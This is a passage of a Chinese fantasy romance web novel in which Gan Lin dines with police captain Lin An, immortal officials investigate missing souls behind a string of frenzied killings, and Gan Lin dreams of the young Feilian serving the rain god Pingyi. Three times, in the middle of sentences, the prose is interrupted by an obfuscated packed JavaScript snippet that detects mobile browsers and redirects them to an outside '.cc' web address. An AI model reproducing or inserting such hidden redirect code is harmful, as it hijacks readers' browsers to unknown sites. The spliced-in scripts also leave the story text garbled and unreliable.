甘霖不过是在开玩笑,他现在哪有心情抱着对方是他喜欢的类型这种想法和林安吃饭啊,不过只是想打听打听案件进展罢了。 毕竟陈家的另一个幸存者陈卿华,现在还在警方的监管下。 “不知道陈卿华醒了没有,要是她的精神能恢复正常的话,珠珠的魂魄修复好,至少能和自己的姑姑在一起生活吧。”甘霖说着回复了林安的消息。 【甘霖:我去找你吗,刑警队附近?】 【林安:不用,我正好有点事去了你们单位附近,下班时间差不多了,你直接过来吧。】 接着,林安给甘霖发了个定位,就在办事处往前五百多米的一条小商业街上。 “大人,我能早退一会儿,去和林队长吃个午饭吗?”甘霖问飞廉。 “他为什么要找你吃饭?”飞廉问,怎么总是有人要找你吃饭。 “啊?”甘霖没明白他这个问题的意思。 “你答应他吃饭是为了打听案情,询问陈卿华的状况,那他又是因为什么要找你吃饭?” 甘霖笑了,“大人你真是糊涂了,我想打听消息,林队长肯定也是一样的,问问我们这边查出什么没有呗,哦,对了,幽都发生的事情,我能说吗?” 飞廉看了他一眼,“随你,就算是告诉他,也不会影响什么。” 甘霖被瞪了一眼,也不知道飞廉在生什么气,干笑着拿起自己的外套,“也是,那我就先走了,下午见,有什么事情就打电话给我,拜拜。” 虽然已经快二月了,但天气还是很冷,今天还有寒流,外面又晴又冷,孰湖和丁令威从外面回来,好不容易想着到办公室暖和一下,结果办公室也很冷。 孰湖搓着胳膊用灵力保持体温,“怎么回事,窗户又坏了吗?” 林安人高马大气势迫人,即使在午饭时间全员满座的麻辣烫店,也能让人一眼看到。 甘霖走过去,拿出包里的东西放在桌面上,“林队长,就不能请我吃点高级的东西吗?” “有肉有菜,有干有汤,营养丰富,调味自由,怎么不高级了?”林安揉了揉手里的烟,想到是公共场合,最后还是没点燃,“我只是一个梦想朝九晚五但却日夜颠倒拼命加班的普通公务.员,别要求太高了。” “开玩笑的,麻辣烫好麻辣烫妙,我还自带餐后甜点,解辣解腻。”甘霖笑着把东西往前推了推。 “什么?”林安打开保鲜盒,满满一盒又大又红的新鲜樱桃,“啧啧,这玩意儿水果店都卖到快一百块钱一斤了,你们单位工资福利是好啊,能不能问问还要不要凡人,我也想跳槽。” 甘霖一听很兴奋,“你怎么知道的,我们工资很高吗?” “听说而已。”林安烟瘾犯了,塞了一把樱桃到嘴里,然后一颗一颗往外吐籽,“我不是来找你说这个的,我就像问问项婉和珠珠的事情,还有你们调查得怎么样了,陈家人到底犯了什么病。” 甘霖考虑着措辞,“不是一般的病,用他们的话说那不是身体上的原因,而是灵魂上的。” “灵魂?” 甘霖便把今天在幽都发生的事情告诉了林安,“现在已经能够确定他们是因为身体里被强行放入了别人的魂魄才会导致发疯的,但是谁这么做,又为什么这么做,是随即找上陈家还是蓄意谋划,项婉和珠珠的魂魄能不能分离净化,这些都还没有查清。” 林安听完很久都没有说话,“虽然心理有准备,但你说的这种事情,的确不是我们普通警察能够插手的。” “怎么你好像很意外的样子,你不是专门和外勤科对接合作,负责这种事的吗?” “是,也不是,其实上个案子是我负责的第一个这种案子,以前都是我师父负责,他和你们处长,就那个白胡子老头关系不错,我大部分时间都只是在一旁看而已。”林安看着窗外萧瑟的冬天,“上个月,就是元旦前不久,他追击犯人,车子被对方顶下路肩,牺牲了,所以我才接手。” 甘霖不知道该说什么,对于这样的人他只能敬佩和伟大,也知道自己是绝不会成为这样的人的。 “以前我可能会恨,会觉得不公平,我师父一辈子兢兢业业,不知道抓了多少坏人破了多少案子,最后却落得这样的下场,什么先进个人几等功,有个屁用,人没了就是没了。”林安毫不掩饰自己的恨,“我甚至想我为什么是个警察,有太多不能做的事情,如果我不是,我一定亲手杀了那个混蛋给我师父报仇。” 甘霖静静地听着,他太能理解这种无法消解的恨了,曾经他也是这样,恨自己出生的农村,冬天为什么那么干燥,为什么要有那么多柴火,为什么那么冷,为什么一个小小的火星就可以吞噬两个人的性命。 后来,他开始恨一切,恨自己,什么天生火命的人,居然能在短短二十二年的人生中遇到两场惨烈的大火,每次都会害死别人,或许他根本就不配活着。 但最后,他还是明白,什么恨都没有用的,结束自己太难,没有勇气和决心,就算是被这个世界和生活折磨得多么生不如死,也还是得活下去。 甘霖觉得那句话真的是简单明白又让人醍醐灌顶,开心一天,不开心也一天,何必呢。 林安抬眼看向甘霖,“不过和你们打交道几次,知道了很多超出常识的事情后,我忽然想明白了,可能这就是命,命中注定我师父那天会死,就算不是因为这件事,也可能会因为别的什么事,至少在他活着的时候,他不愧于自己的身份和职业,不错了。” 甘霖点点头,“没错,这么想就对了,你能做的就是多多抓坏蛋,改变那些坏蛋有可能毁掉的命运。” 林安笑了笑,“你说得对。” 两个人点的麻辣烫被端上了,两个大号的碗都快把不大的桌子占满了,他拌了拌,挑起一大筷子粉条塞进嘴里,吃得呼噜作响,浑身一股豪迈之气,配上他粗犷但俊朗的脸,是很吸引人眼球的。 “你看我干什么?吃啊,不然一会儿坨了。”林安剥了个生蒜。 甘霖对他伸出白皙纤薄的掌心,“给我一颗蒜。” 林安往他掌心放了一颗,两个人就开始相对无言,埋头干饭。 一直到把盆底吃干,基本上都没有说过话,战斗力非常惊人。 “你这么瘦这么能吃?别撑坏了。”林安下意识又要去摸烟,最后还是往嘴里丢了两颗樱桃。 “不会,我是吃不胖的类型,也是挨过饿的好吗,饭量大不是很正常。”甘霖说出自己的目的,“我也是想问问你,陈卿华怎么样了,冥君说珠珠是有可能恢复正常的,如果是这样,总还要有个亲属当监护人吧。” 林安的表情不乐观,“今天上午醒来过一次,眼睛一睁就开始喊,过度惊吓和刺激,精神都失常了,以后会怎么样,医生也说不好。” 甘霖叹气,“估计也是,项婉也一样,要是她能恢复意识,想起自己亲手砍死了自己十五岁的独生子,恐怕也还不如疯着。” 一想到案情,两个人表情都又沉又苦的,半天都不想说话了,一直到店里都没什么人了,一个声音忽然打破了两人的沉默。 “林安,真的是你?!” 甘霖抬头,是一个看上去很时尚也很漂亮俊秀的青年,好像没有看到他,眼神全都在林安身上了,只是那眼神让甘霖感觉不太舒服,带着久别重逢的热切,上下打量林安却又显得很失礼,更遑论对方的表情还带着点对林安的鄙夷和莫名的自负。 林安抬眼看了他一下,“啧”了一声,“没想到能在这种地方遇到你,真是冤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356246|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家路窄。” 青年完全不在意他的态度,还是看着他身上显得有些邋遢和不修边幅,虽然干净但一看就穿了很久的黑色毛衣和工装裤,还有鞋头已经有些磨损的黑色军靴,“你还在当那个吃苦费力又不讨好的警察啊。” “嗯。”林安不耐烦地敷衍了一声。 青年露出有些满足地微笑,甚至还松了一口气,“我一看就是,你也差不多该回家了。” 林安终于抬头看向他,眼神厌恶又不耐烦,“回家干什么,继承家产赚上大钱,然后供你吃穿花销买奢侈品?怎么我哥没有满足你吗?” 青年脸色有些变了,勉强笑了笑,“林平哥他……” “哦,对了,我哥已经结婚了,我去年参加过婚礼的我怎么忘了,没见着你呢。”林安也用嫌弃的目光打量他,“啧,行头档次变低了啊,怎么着,新勾搭的金.主实力不行,还是不愿意给你花钱啊?” 青年生气了,“再怎么档次低,也不会比你档次更低了,请人吃饭还来这种不入流的小馆子……” “老公……” 甘霖娇媚的一声,林安直接把手里的樱桃捏爆了,愕然地看他,眼神发问:你也犯病了? “老公,这就是你说的你以前眼瞎的时候玩过几次的那个炮友?”甘霖瞪了他一眼:配合我! 青年仿佛这才意识到林安对面还坐了一个人,狠狠地瞪向甘霖,结果在看清对方长相的时候更生气了,“炮友?你就这么跟他说我的?” 林安冷哼了一声,“为了钱跟谁都能打.炮,换床比换衣服都勤,不是炮友是什么?” 青年的脸色一下子白了,“还不是因为你没钱,我告诉你,这家伙可是个穷鬼,也就长得能看,你可要好好擦亮眼睛,别虚耗了青春。” 甘霖笑了笑,“哎呀,我还以为得是个什么样的人呢,现在知道你为啥不爱提了,连张照片都没存……确实是,有点丑啊,不对,也不至于说丑,只能说长得一般,太一般了。” 青年不可置信地瞪大眼睛,差点把肺气炸了,要是甘霖说他丑,他还能当成是故意找茬挑衅,激怒他,毕竟长眼睛的人都能看出来,他绝对不丑,但对方说他长得一般,那就无法辩驳了,因为比起这个白得发光的绝色美人来说,他作为前任的确有些一般了。 “而且安安才不穷呢,这些都是他给我买的哦,可舍得花钱了。”甘霖站起身转了一圈,妈妈咪的,幸好昨晚太累没洗衣服,今天出门穿的是飞廉送他的大牌,没想到装逼装到这里了! 甘霖一把拉起林安的手,“怀旧麻辣烫挺好吃的,咱们走吧,偶尔吃吃这种食物,还挺有意思的。”对不起麻辣烫,你是我的人生最爱,我绝不是有意贬低你的。 说完也不管青年什么反应,挎着林安的胳膊就走出了店门。 林安终于点了一根烟,“其实你没必要这样,我早就不在意了。” “满足我阴暗的小冲动吧,这种情况下怎么能不给咱警察叔叔撑个面子呢。”甘霖摸了摸自己的脸,“你眼光还真不错啊,幸好我长得够好看。” 林安呛了口烟,哈哈大笑起来,“哈哈……呃……” “咋了?”甘霖顺着他的目光看去,马路对面,飞廉一脸黑沉地看着他们,“糟了。” 林安也问,“咋了?你俩说开了?好上了?”不然飞廉怎么脸色发绿。 甘霖松开手,“我昨晚和他保证,不会给他找后爹的,他肯定误会了。” 林安:误会是误会了,不过这个误会的方向不太对吧。 青年红着眼睛也冲了出来,甘霖眼疾手快又重新搂住了林安,等青年跑掉后他再转头,飞廉已经没人了。 林安叹息,吐了口烟。 一时不知道谁更惨。 36.36.魔子(十一)理由或是借口 林安开着好几个地方都刮花掉漆的破车把甘霖送回了办事处。 他看着这个破烂小城堡,就知道里面肯定不是这个样子。 “谢谢你送我回来,虽然只有五百米。”甘霖推开车门,看到林安好奇的眼神,“下次要是有机会,带你进去看看。” 林安无所谓地应了一声,“我有个问题。” “你说。” “看样子你应该是很喜欢类似我这种身材比较高大,皮肤颜色比较深的类型吧?” 甘霖侧目,“这都能看出来?” “好歹当了这么多年警察,这点观察力还是有的,昨晚命案现场,你的那个朋友,叫季然台的目击者,你俩过去也有过一段吧?”林安敲着方向盘。 “嗯,怎么了?”即便放下,甘霖也不太愿意和别人提起自己和季然台的事情。 “我只是很好奇,你口味这么固定的话,面前不就有个最完美的类型标板?”林安转头看他。 甘霖更不明白了,“哪里,谁?” “飞廉啊,那身高那身材,还有那张脸,黑皮大帅哥啊,普通人能长成那个样子?都这么完美了,我看他对你挺好的,你何必舍近求远,难不成你们单位禁止办公室恋情?” 林安也不是突然想和甘霖说这些的,他不是爱多管闲事的人,但刚才甘霖站在路对面看着他们的样子在他脑海里挥之不去。 对方一身黑衣,是萧瑟灰白的冬日街头唯一的一抹深色,黑色的半扎发在风中飞舞,右耳的蓝色耳坠晃荡,发丝后面的眼睛时隐时现。 那个眼神怎么说呢,林安最先察觉到的是愤怒,可愤怒之后,他竟然看到了对方眼底的无奈,脆弱甚至还有一些死寂,就好像那人曾经无数次看到这样的画面,却永远都无能为力一样。 林安想到了自己,那个青年是他唯一确定过固定关系的男朋友,两人不是一级也不是一所学校,但还是认识了,他对自己没什么讲究,学校的奖学金还有工作后的工资,除了租房子几乎都给青年花了。 但还是看到那一幕,自己爱的人躺在自己哥哥的被窝里,两个人都没穿衣服,事后自己都没有质问,对方却先哭着控诉,说自己给不了他想要的生活。 林安觉得那时候自己和飞廉的心情是很像的,是很生气很愤怒,没人能接受自己被背叛,可除此以外,他还有些无奈,甚至有些意料之中的心死,其实他早就察觉到了,对方并不是什么单纯小白花,勾勾搭搭不安分,他只是不愿意面对而已。 他是遇人不淑了,但飞廉和甘霖不一样。 甘霖人不错,嘴甜会来事儿但其实很有分寸,他挺喜欢的,飞廉他不了解,但也能感觉到是个强大内敛又深情温柔的人,两个人挺配的,要是因为一旦误会和脑子里那根轴着的神经而错过,未免太过可惜。 两个傻子,一个一心要爱人,一个一心要当爹,他实在是看不下去了。 甘霖瞪大眼睛,“我,和飞廉?你怎么会这么想,别说我和他是父子情,就算不是,我也不可能和他在一起啊。” “为什么?” “我俩一个神仙一个凡人啊?” 林安怎么都没想到居然是这样的理由,都有些傻了,“你还有这种门第之见呢?” “林队长,你知道人妖殊途,其实人仙也一样啊,没有生.殖隔离我都觉得很奇怪了,你看自古以来,什么白娘子许仙,牛郎织女,三圣母刘彦昌,哪吒敖丙,这些,哪个有好下场?” 林安:等一下,好像混进去了不对劲的东西。 “我才不管我以前怎么样,只是长得像个神仙还是上辈子真是神仙,我这辈子就是个普通人,想过普通的生活,等我的眼睛治好了,我就离开这里了。”甘霖的语气淡然又坚定。 【你什么都不知道……】 甘霖想起他到幽都咖啡馆去兑换祸斗灵石的那次,因为他说了类似的话,飞廉罕见的动了气,死盯着他,说他什么都不知道。 他的确是不知道,也不是很想知道,幽都不就是这样的吗,不管魂魄轮回多少次,每一世其实都已经是一个全新的人,和他的曾经,上辈子完全没关系了。 “这是真实的理由还是你的借口?”林安追问。 “什么意思?” “是你不曾对飞廉有过一丝一毫心动的真实理由,还是你明明心动了却不能承认只能逃避的借口?”林安说得相当直白。 甘霖怔了一下,纤细雪白的脖颈前微微凸起的喉结都有些僵硬了,像被冻住的弹珠在冰面上艰涩地滑动了两下,最后什么声音也没发出来。 毕竟牵扯到神仙妖精这些不了解的领域,林安也不好再多说什么了,“算了,这是你自己的事情,我就不多说什么了,案子有进展就给我打电话。” 甘霖应了声下车离开了。 下午的时候,幽都和孰湖两边都有了消息。 承泣和朱晦来到了外勤科的办公室,几个人坐在接待处的沙发上讨论案情。 甘霖拿着小本子记录,下意识地抬头看了眼,飞廉没有坐在他旁边,而是坐在了他对面,表情一如往常没有表情,也没有什么情绪。 就好像他中午看到的马路对面冷眼望着他的飞廉是个错觉一样。 “我们已经奉冥君大人之命彻查了整个幽都,没有发现一例魂魄失踪的情况。”朱晦看着手中的文件道。 甘霖也把视线从飞廉身上拉回来,把精神投入工作中。 “不过我们发现了另外的事情,按照记录,这段时间各级黑白无常那边都发生了原主死亡但魂魄却没有到幽都来报道的事情。”朱晦继续道。 几人听得脸色一变。 甘霖可算是知道承泣为什么脸色那么臭了,“怎么,出了这种事情,你们那些无常判官之类的冥差都不需要往上报吗,冥君大人知不知道也无所谓吗?” 朱晦愁苦地看了承泣一眼,“这还是和制度有关系,因为各种原因或未放下的执念,生魂离体后有很多不会立刻来报到的情况,这种就需要无常去迎接,但是如果生魂已经离开原主,无常一时也找不到,或者执念太深,生魂怎么都不愿去幽都。” “这种情况怎么办?”甘霖好奇。 “就先不管了,只要消散时限之前生魂来幽都报到就可以了,而且就算留在人间,他们也什么都做不了,冥差人手有限,不可能一一解决。”朱晦道。 “不管了?”甘霖惊呆了,“消散时限是多久?” “以前是十年,不过后来承泣大人上任后,改革吏治,已经大大缩短了时间,现在是……一年。” “一年很短吗?”甘霖差点没忍住拍案而起,“我可算知道为啥以前人间总是有那么多孤魂野鬼了,原来都是你们业务怠惰导致的。” 朱晦表情更难看了,“怎么,怎么叫怠惰呢,以前冥差很少的,人口死亡率又高,顾不过来,现在虽然纳入公务系统,有了薪水福利,幽都居民大都愿意做冥差了,可是人口又暴涨了,我们还是顾不过来啊。” 甘霖咋舌,真是不管人间地狱,这些人推诿卸责的借口都是出奇的雷同,想到陈家人的惨状,他真的挺想骂人的。 飞廉看了甘霖一眼,在他之前开口,“所以呢,那些没有去幽都报道的魂魄如何了?” 承泣回答:“我让我手下的黑白无常和四位判官去找了,没找到,大概率已经被人抓走,用来干坏事了。” 飞廉:“也就是说陈家人身体里多出来的魂魄很有可能就是这些没有报到的魂魄?” 承泣点头,“我也是这么想的,不过魂魄尚未净化分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15356247|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离,所以还不能确定。” “我觉得应该就是这样。”甘霖开口。 所有人都看向了他,飞廉开口,“为何这么说?” “你还记得季然台的话吗,陈老爷子砍杀了自己家的狗,还说狗是他的仇人,他不杀对方,对方就会来杀他。”甘霖指着从朱晦手里拿过来的文件,“你看这两个人。” “这两个人是同村的邻居,但是三代关系都不好,结怨很深经常发生冲突,两个人都在村里说过对方是自己的仇人早晚要杀了对方,然后就在四个月前两家十几口人互相群殴的时候,失手被打死了。”甘霖道,“如果魂魄还带有前世的记忆,这两个人分别被放进陈老爷子和他家的狗身体里,他们也会想活着的时候一样,认为对方是自己的仇人吧。” 飞廉颔首,“我记得警察也说有目击者称陈老爷子杀了狗的那天,他们家的狗不知为何发了狂,一直狂叫不停,谁经过都要被狂吠。” 承泣道:“可能性更大了,不过还是要等我将魂魄分离再说。” 飞廉又抬头看向孰湖和丁令威,“你们两个说。” 丁令威老神在在地坐着,没有开口的意思,孰湖站起身把手里复印好的文件分给每个人。 “我们查了这一年来全国城隍的报告,发现这还真不是第一次发生这种事情,不过大都集中在两个区,一个就是我们首都所在东北区,主要就是首都,还有一个就是西北区,昆仑祁连一脉,频率不高,但都发生过类似的突然发狂然后伤人性命的事情。” 甘霖看着手中的文件,因为频率不高,所以也就十几页纸,如果按照时间排序,的确如他所说,从一开始只是轻微事件,一点点发展成了昨晚那样的恶性事件。 一共十二个案子,前面的都是一个人突然发疯,伤害别人或者致一人死亡,中间就变成有关系不好的夫妻双方互相砍杀,或者有陈年积怨的邻居疯狂互殴造成伤亡,死亡人数也在不断增加。 “虽然这些行凶者都有类似的情况,精神失常,发疯,到最后也没有完全恢复,被关进了相关医院,不过从西北到这里,跨度实在太大,也很难确定到底是不是真的和陈家的事情有关联。”孰湖眨了眨蓝色大眼睛道。 飞廉看着手中的文件,“那就只有亲自过去看看了。” 甘霖问,“你要去吗?” “我是看不到魂光的,去也没用,这些受害者的魂魄也都还没有去幽都报道,这件事只能交给承泣,尽快去看看。”飞廉对承泣道,“需要我派人帮你吗?” “不用,我有人。” “承泣大人,如果我们的判断没错,有发狂伤人案件的事情之前,必然有生魂未曾报道失踪的情况,我建议你们放在一起查。”甘霖道。 承泣看他,眼神罕见地平静,也没有反驳,“嗯”了一声,和朱晦起身消失在了原地。 甘霖想到什么,掏出手机给林安发消息。 【林队长,我这里有些名单,都是最近一年首都类似案件的相关人员,你能不能查查他们在现实生活中有没有什么关联。】 说完把手里的资料拍成照片发给了林安。 【林安:收到。】 “你发给谁?” 甘霖抬头,办公室不知道什么时候就剩下他们两个人了,“发给林队长,我想看看这些案件的相关人员有没有现实中的关系。” 他专心发图,再一抬头,飞廉也不见了。 那天直到下班,他都没有再见到别的同事,也不知道自己该做什么,就在办公室摸鱼打了半天游戏。 晚上睡觉的时候,久违地,他又梦到了飞廉。 这次不光是飞廉,还有那个他只听说过名字,活在传说和别人的故事中,疑似和他有几分相似的—— 雨神,屏翳。 37.37.魔子(十二)飞廉,开门,爹地 甘霖梦里的飞廉比现在要年轻得多。 身高和现在差不多,但没有现在这样伟岸,有种少年人特有的清瘦纤长,看上去十七八岁的模样,虽然还是黝黑的皮肤,但五官要比现在显得清秀柔和,右耳也没有那个他从未拿下来过的蓝色耳坠。 他身上穿着那件在甘霖梦中出现过的深蓝色白毛边的袍子,长发披散着,额间勒着一条穿着绿松石和其他宝石的窄条抹额,比现在还有异域的味道。 甘霖梦中的自己像一个无影无形的幻影,就站在飞廉身后看着,饶有兴致地抱着胳膊,靠在山崖上,心想不知道这次能从梦里看到什么。 飞廉站在一棵大树下雕刻粗糙的石台前,竹管引来山泉,他挽着袖子,在一个漂亮精致的青玉盆里洗葡萄,石台边站着一个二十公分高,跟个手办玩偶似的的小花精,头上顶着硕大的花朵,穿着叶子做成的衣裙,白嫩可爱。 飞廉洗好一盆葡萄后,就端到小花精面前,小花精就像打瞌睡似的,对着盆里的葡萄点了三下头,散发着点点金光的花蜜粉就撒到了葡萄上。 小花精还要撒第四下,飞廉伸出修长的手指轻轻点住她的小脑袋,阻止了她,这一下只有一点点蜜被撒出来。 小花精抬起头,乌溜溜的大眼睛眨了眨,声音细小,“大人?” “够了,三下他会觉得不够甜,四下他又会觉得太甜了,这样刚好。”飞廉解释。 “等果子熟一点再摘就好了。”小花精垂涎地看着盆里的葡萄。 飞廉神色淡淡地拿了两颗给她,“再熟一点他会嫌果肉太软,他喜欢这个口感,只是不够甜,多亏了你。” 甘霖光是听着都要翻白眼了,这什么事儿逼啊,果子太熟嫌弃软,果子青涩又嫌不甜,这么难伺候! 小花精两只胳膊环抱住果实,低头咬了一口,“谢谢大人哦。” 飞廉端着青玉盆离开了。 甘霖在身后默默跟上,顺便欣赏这周围的景致。 目光所及都是郁郁葱葱的树林,开着各种颜色的花,也有的只是长着鲜绿的叶子,一派春夏胜景,可抬头就能看到不远处的雪峰,也丝毫不觉得冷,清溪潺潺,雾气缭绕,林中还有很多像小花精一样的精灵在自由畅快地玩耍。 真是一个如梦似幻的仙山。 穿过幽深小道,面前豁然开朗,一个花丛围绕的空地,一角放着一张巨大的玉塌,一个衣着松散,姿态懒散的人影睡在上面,几乎被各种形状的柔软抱枕埋在里头,伸出一只胳膊,雪白细腻,纤细流畅,轻薄的衣料堪堪搭在手肘上,让人有种想要摸一把,把衣服再剥开一点的冲动。 走在他前面的飞廉已经坐在了塌边,冷着一张脸,满眼认真专注地在……剥葡萄。 甘霖大为震惊,看着飞廉捏着葡萄,一点点剥掉紫色的果皮,然后将青绿的果肉递给榻上躺着的人。 那人懒得连接都不接,直接张开嘴,“啊。” 飞廉眼神有些无语,但还是将果肉轻轻塞进了他的嘴里。 “好吃,还是你弄得味道最最好了,真是没白养你。”那人感慨。 听到这话,甘霖产生了一种奇怪的感觉,他往塌尾那边的方向走了两步,终于看到了被抱枕遮住的脸。 果然,和他长得极其相似,几乎可以说是一模一样,不过或许是气质和神情的原因,要比他更漂亮,可以说美得夺人心魄,他在办事处这段时间,三界绝色见了个遍,没人能与之相比。 这个人,不对,这个神,应该就是那位养大飞廉的雨神屏翳。 飞廉无奈叹气,“多谢屏翳大人养育之恩。” 屏翳满意地点点头,“乖,再来一个。” 飞廉便开始任劳任怨地继续剥果子。 甘霖这才看清那并非是什么葡萄,应该是一种很像葡萄的仙果,难怪小花精抱着两颗果子千恩万谢的。 不过这个屏翳和他想象中的样子实在是太不一样了,上古神祇,三大自然神,就算不像飞廉这样高不可攀,冷峻威严,至少也应该像菩萨一样圣洁高雅,无情又慈悲吧。 但榻上的这个人身上白色的衣袍勉强只靠中间的一根腰带束着,纤薄平坦的胸膛敞着,衣摆之间还露出一条玉肌冰骨的腿,高高翘在靠背上,那腰带但凡再松一点,画面属于生成图片都要被打码的程度。 太没正形了,这样的人能养大孩子也真是奇迹,也多亏飞廉自己上进。 想到这里甘霖都有点感动了,真不容易啊,孩子。 “龙雀,我要喝酒,前两天惊泽送来的那个酒,拿出来尝尝。”吃了半盆仙果,屏翳又觉得腻了,他抬脚踢了踢飞廉的胳膊,转身抱住一个抱枕,舒服地直哼唧。 飞廉迟疑了一下,还是起身去给他拿酒,“只半坛,不许多。” “小崽子少管大人的事,啰嗦。”屏翳不满地蹬了一下腿,“啊,对了,记得拿那盏红色酒樽来。” 飞廉回头,看他旁边的石桌,“这里有酒樽。” “惊泽送来的酒是绿色的,就要配红酒樽才好,别忘了。”屏翳把糊在脸上的黑发扒拉开,“要拿。” 甘霖都要炸毛了,天哪,怎么会有这么多事儿的人,他开始怀疑飞廉是真的把他当爹来报答养育之恩的吗,不会是被折磨得不行了,来报复的吧。 飞廉很快就来了,拿了一小坛酒,还有一盏红色透明如同宝石雕刻的酒樽,还体贴地给屏翳配了两个下酒的小菜。 屏翳翻身起来,随手扫下去几个抱枕,在榻上腾出一片空地,变出个红木小几,歪斜着身体开始自斟自饮。 喝了两杯,他已经有些微醺,每次都会把碧绿的酒液撒出来,飞廉就坐在另一边,每次都不辞辛劳地擦干净。 “龙雀啊,你别这么死板嘛,洒出来就洒出来了,等我喝完一起收拾不就好了。” 结果他刚说完,酒樽一歪,倒了几滴在白色的衣袍上,立刻晕开了几点绿色的污渍,“啧,烦人。”说完他没一秒犹豫,手指动了一下,身上的衣服就光了。 甘霖没看错,光了,没有一根布丝,如出水芙蓉一般雪白又柔软的身体整个暴露出来,几秒后,屏翳身上已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15368392|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经重新出现了一身浅绿的衣袍,“你还是擦吧,我讨厌酒渍弄脏我的衣服。” 飞廉背对着甘霖,他看不清对方的表情,只能看到对方拿着一方巾帕,老老实实守着,随时擦拭屏翳撒出来的酒液。 天哪,甘霖简直想现身摇醒飞廉,求你了,换个爹吧,这个屏翳他实在不配当爹啊! 喝了半坛酒下去,屏翳好像突然想起了自己作为父母的职责,“对了龙雀,上次教你的怎么样,学会了吗?” 飞廉沉声,“你不教我也会。” “别这么说嘛。”屏翳已经醉了,酡红着一张娇花一样的脸,晃晃悠悠想要越过小几到飞廉身边去,结果被自己的衣袍绊了一下,一头砸进了飞廉的怀里。 这一下估计砸得不轻,甘霖看到飞廉的背影震了一下,身体都微微弓了起来,把屏翳扶好后往后退了退。 小几翻倒,上面的东西撒了一塌,红玉酒樽掉在地上摔成了碎片。 “啊,好可惜,这还是用你上次送我的那几颗雷霆圣果和别人换来的呢。” 飞廉:“你让我去找雷霆圣果就是为了换这个酒樽?” “对啊,我很喜欢的,而且可以让酒液质更清、味更醇呢。”屏翳推了飞廉一把,“去啊,练给我看看,我今天心情好,再指导指导你。” 刚才还说不用的飞廉倏然起身,抬手便变出那把甘霖见过的长柄眉尖刀,在塌前的空地上舞动起来。 落英缤纷,花香满天,黑皮肤的少年在美景中舞刀,怎么看都是绝美的画面,要是飞廉的招式中没有那些无法隐藏的怨气的话。 甘霖叹息,父母怎么能辜负孩子的心意呢,这要是放在网上,父母拿着孩子精心画的画来垫外卖,一定会被全网骂的。 梦境慢慢模糊,画面一点点散去,甘霖的愧疚之心达到了顶峰。 睁开眼的第一件事就是拿过手机百度:怎么弥补对孩子的亏欠,怎么当一个好父母? 他还发了个帖子,把屏翳和飞廉的相处按自己看到的又添油加醋地说了说,然后才发出这个问题。 结果一大早的,他刚洗漱完毕穿好衣服,就已经有很多人回帖了。 【楼主IP显示首都,有人有那边妇女儿童保护机构的电话吗,我要打电话举报。】 【你这样的还想弥补?养个儿子当奴隶使唤,你最大的弥补就是永远消失,别出现在孩子面前了,就当没生过,孩子也当没你这个爹。】 【弥补不了一点,你永远亏欠。】 【真恐怖,当爹妈为什么不能搞个考试啊。】 【这么好的孩子摊上这么不负责任的爹,天崩开局啊。】 没一个提建议的,全都是骂人的,甘霖都被骂麻了,本来想回复说我不是孩子爹,以前也不是我养的,最后还是默默把帖子删掉了。 然后起身握拳,下定决心,“从今天开始,我就是史上最好的爹!是天使爹!任劳任怨牺牲型的爹!” 然后他雄赳赳气昂昂地走出房车。 来了,飞廉,准备好迎接伟大的父爱吧! 38.38.(魔子)作为父亲是合格了 神仙驻凡办事处,凡人眼中的特殊事件应对处,食堂的角落里,祸斗和飞廉面对面坐着。 “一大早就吃这个?”飞廉看着祸斗手里比他脸还大的一块三分熟的牛排道。 祸斗撕咬得很开心,“你们食堂的伙食是真好,迦楼罗好几次都想挖灶神去神禽管理科,结果灶神光做鸟事有什么意思,怎么都不愿意去,我知道今天要给你送东西,昨晚就发消息给她预订这块牛排了。” 说着他掏出手机,把飞廉上次拜托他的东西发送过去,“给你了啊,为这我还惹迦楼罗生气了,他叨了我一口,给我脖子都吸青了。” 飞廉对他们两个这点小情.趣不感兴趣,“多谢。” “大人客气了。”祸斗看了看飞廉的脸色,“相信我,甘霖他肯定能慢慢醒悟过来,就算他不能解封神格,恢复真身,想起过去,也一定会再次爱上你的。” “没有再次。”飞廉垂眸。 “什么?” “我说没有再次,他从来就没有爱过我。”飞廉身影低沉,脸色平静,没有伤心也没有失落,只是平白地叙述着一件在他这里既定的事实。 “啊?”祸斗很惊讶。 虽然因为成为烛阴徒弟的关系,他才认识了飞廉和屏翳,在此之后没多久,五千年前的诸神混战就开始了,大战打了上千年,战争中期屏翳就在战场陨落消散了。 在屏翳陨落之前,他只见对方和飞廉同框过两次,但即使隔了这么久远的时光,他也能依稀回忆起当时的细节,所以直到现在,他一直都以为他们两个人是双箭头。 